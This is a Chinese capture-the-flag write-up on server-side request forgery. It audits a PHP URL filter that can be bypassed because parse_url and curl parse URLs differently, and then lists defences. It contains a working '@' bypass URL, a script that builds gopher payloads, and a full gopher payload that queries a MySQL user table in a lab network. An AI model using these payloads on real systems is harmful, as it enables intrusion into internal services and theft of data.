CTFer成长之路之SSRF漏洞
字数 1252 2025-08-24 10:10:13
SSRF漏洞深入解析与实战利用
一、SSRF漏洞概述
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者可以利用该漏洞绕过访问控制,使服务器端发起非预期的请求,从而访问或攻击内部系统资源。
二、CTF题目分析
1. 题目环境描述
- web容器:包含flag
- mysql容器:包含管理员账号密码
- 其他容器:无特定flag
- 工具配置:
- mysql容器内置tcpdump
- vulnweb容器内置fpm.py攻击脚本
2. Docker环境配置
version: "3"
services:
web:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-1:latest
depends_on:
- redis
- vuln
- mysql
ports:
- "8233:80"
redis:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-2:latest
vuln:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest
mysql:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-4:latest
environment:
- MYSQL_RANDOM_ROOT_PASSWORD=yes
启动命令:docker-compose up -d
访问地址:http://localhost:8233
三、漏洞代码审计
1. 主要功能函数
<?php
highlight_file(__FILE__);
function check_inner_ip($url) {
$match_result = preg_match('/^(http|https)?:\/\/.*$/i', $url);
if (!$match_result) {
die('url fomat error');
}
try {
$url_parse = parse_url($url);
} catch(Exception $e) {
die('url fomat error');
return false;
}
$hostname = $url_parse['host'];
$ip = gethostbyname($hostname);
$int_ip = ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 ||
ip2long('10.0.0.0')>>24 == $int_ip>>24 ||
ip2long('172.16.0.0')>>20 == $int_ip>>20 ||
ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url) {
if (check_inner_ip($url)) {
echo $url.' is inner ip';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']) {
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
2. 漏洞点分析
-
URL解析不一致:
parse_url()和curl对URL的解析方式不同- 可以利用
@符号绕过IP检测
-
IP检测绕过:
check_inner_ip()函数通过parse_url()获取host- 但curl实际请求时会解析
@前的IP
-
无协议限制:
- 允许使用gopher、dict等协议进行更深入的攻击
四、漏洞利用实战
1. 第一阶段:获取web容器flag
Payload构造:
http://192.168.10.24:8233/challenge.php?url=http://a:@127.0.0.1:80@baidu.com/flag.php
原理:
parse_url()解析的host是baidu.com(公网地址,通过检测)- curl实际请求的是
127.0.0.1:80(内网地址)
2. 第二阶段:攻击MySQL容器
步骤1:获取MySQL容器信息
# 查找mysql容器ID
docker ps
# 查看容器详细信息
docker inspect e2c90d571d32 | grep IPAddress
# 进入容器网络命名空间
nsenter --target 3602 -n
步骤2:抓取MySQL通信数据包
tcpdump -i eth0 port 3306 -w /var/www/html/mysql.pcap
步骤3:手动连接MySQL获取信息
mysql -h 172.21.0.4 -uweb
use ssrf;
select * from user;
步骤4:构造Gopher攻击Payload
使用Wireshark分析抓包数据:
- 追踪TCP流
- 过滤客户端到服务端的数据
- 将原始数据整理为一行并进行URL编码
URL编码脚本:
def result(s):
a = [s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)
if __name__ == "__main__":
s = "bb00000185a69f20000000012d000000000000000000000000000000000000000000000077656200006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f70696404353637390f5f636c69656e745f76657273696f6e06332e302e3130095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f73740a3137322e32312e302e34210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290500000002737372660f0000000373686f77206461746162617365730c0000000373686f77207461626c657306000000047573657200130000000373656c656374202a2066726f6d20757365720100000001"
print(result(s))
最终Payload:
curl gopher://172.21.0.4:3306/_%bb%00%00%01%85%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%77%65%62%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7f%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%35%36%37%39%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%33%2e%30%2e%31%30%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%0a%31%37%32%2e%32%31%2e%30%2e%34%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%73%73%72%66%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%06%00%00%00%04%75%73%65%72%00%13%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%01%00%00%00%01
五、防御措施
-
统一URL解析:
- 确保所有组件使用相同的URL解析方式
- 可以使用统一的URL解析库
-
协议白名单:
- 限制只允许http/https协议
- 禁用gopher、dict、file等危险协议
-
IP黑名单:
function is_inner_ip($ip) { $ip_long = ip2long($ip); return $ip_long == ip2long('127.0.0.1') || ($ip_long >= ip2long('10.0.0.0') && $ip_long <= ip2long('10.255.255.255')) || ($ip_long >= ip2long('172.16.0.0') && $ip_long <= ip2long('172.31.255.255')) || ($ip_long >= ip2long('192.168.0.0') && $ip_long <= ip2long('192.168.255.255')); } -
DNS重绑定防护:
- 解析域名后立即检查IP
- 请求前再次验证IP是否变化
-
认证与授权:
- 对内部服务实施严格的认证机制
- 避免使用默认凭证
六、扩展利用技巧
-
利用协议:
- Gopher:可攻击Redis、MySQL等
- Dict:可获取软件版本信息
- File:读取本地文件
-
CRLF注入:
- 在HTTP头中注入换行符
- 可构造完整的HTTP请求
-
端口扫描:
- 通过响应时间判断端口开放情况
- 可探测内网服务
-
绕过技巧:
- 使用短网址服务
- 使用域名重定向
- 利用DNS解析特性
七、总结
SSRF漏洞危害严重,可导致内网渗透、数据泄露等风险。防御需要从多层面入手,包括输入验证、协议限制、IP过滤等。在CTF比赛中,SSRF常与各类协议利用结合,考察选手对内网服务和安全协议的理解。